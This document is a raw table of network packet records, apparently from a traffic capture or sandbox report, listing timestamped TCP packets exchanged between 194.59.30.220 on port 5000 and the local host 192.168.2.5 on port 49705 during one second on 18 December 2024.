Dec 18, 2024 11:40:34.100982904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.101074934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.101741076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.101886034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.102226973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.102997065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.103072882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.103291035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.103796959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.103944063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.104402065 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.104774952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.104866028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.105068922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.105725050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.105825901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.106020927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.106772900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.106867075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.106913090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.107774973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.107980967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.108028889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.108880997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.108952045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.109035969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.109733105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.109833002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.109894991 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.110707998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.110728979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.110891104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.111676931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.111807108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.111850977 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.112670898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.112792015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.112942934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.113692045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.113850117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.113918066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.114650011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.114769936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.115210056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.115644932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.115777969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.115823030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.116661072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.116823912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.116899967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.117611885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.117695093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.117789030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.118613958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.118756056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.118834972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.119663954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.119744062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.119786978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.120584965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.120699883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.120752096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.121571064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.121691942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.121737003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.122587919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.122754097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.122864962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.123574018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.123689890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.123734951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.124550104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.124658108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.124787092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.125581980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.125730991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.125859022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.126539946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.126666069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.126915932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.127527952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.127656937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.127778053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.128530025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.128643990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.128684044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.129528999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.129714012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.129991055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.130542040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.130628109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.130692005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.131511927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.131620884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.131668091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.132528067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.132673025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.132723093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.133491993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.133636951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.133728981 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.134582043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.134759903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.134823084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.135482073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.135689974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.135736942 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.136470079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.136553049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.136667967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.137450933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.137629032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.137897968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.138464928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.138576984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.138731956 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.139465094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.139624119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.139739990 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.147733927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.147908926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.147955894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.148222923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.148335934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.148472071 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.149194956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.149287939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.149363041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.150136948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.191587925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.282566071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.282623053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.283102989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.283720970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.283843994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.284065962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.284080029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.284419060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.284419060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.285005093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.285109997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.285379887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.285998106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.286118031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.286443949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.287056923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.287184000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.287292957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.288036108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.288259983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.288310051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.289251089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.289323092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.289438963 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.290018082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.290090084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.290440083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.290963888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.291068077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.291337967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.291913033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.292021036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.292152882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.292911053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.293036938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.293106079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.293885946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.293960094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.294028997 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.294915915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.295038939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.295141935 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.295887947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.295999050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.296169996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.296871901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.296993017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.297074080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.297863960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.298015118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.298104048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.298865080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.298984051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.299036980 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.299921989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.299962997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.300045013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.300915003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.301014900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.301085949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.301848888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.302046061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.302145958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.302845955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.302928925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.303154945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.303884983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.304162025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.304239988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.304984093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.305088043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.305329084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.305887938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.305979013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.306050062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.306827068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.307022095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.307097912 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.307805061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.307912111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.307965040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.308835030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.308908939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.308984041 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.309856892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.309942961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.310065985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.310878038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.310945988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.311273098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.311783075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.311893940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.312001944 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.312772989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.312855005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.313024044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.313770056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.313858032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.313905954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.314743042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.314857960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.314974070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.315783024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.315851927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.316040993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.316802025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.316912889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.317732096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.317853928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.317900896 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.317900896 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.318738937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.318888903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.319093943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.319740057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.319860935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.319905996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.320784092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.320831060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.321681023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.321798086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.321851015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.321851015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.322721958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.322834015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.323465109 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.323808908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.323935986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.324690104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.324742079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.324796915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.324798107 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.325715065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.325918913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.326877117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.326972961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.327343941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.327343941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.327785015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.327944994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.328164101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.328712940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.328825951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.329636097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.329791069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.330599070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.330723047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.330770016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.330770016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.330770016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.338845015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.338951111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.339005947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.339277983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.339409113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.339453936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.340323925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.340430021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.340481043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.341237068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.394330978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.476125002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.476156950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.479351997 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492074966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492156982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492171049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492249012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492294073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492319107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492331982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492369890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492369890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492369890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492460966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492475033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492573977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492585897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492599964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492647886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492647886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492647886 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492654085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492779016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492789984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492803097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492815018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492827892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492839098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492839098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.492841005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.492857933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493000984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493182898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493195057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493206024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493217945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493228912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493235111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493235111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493235111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493241072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493252039 CET	5000	49705	194.59.30.220	192.168.2.5
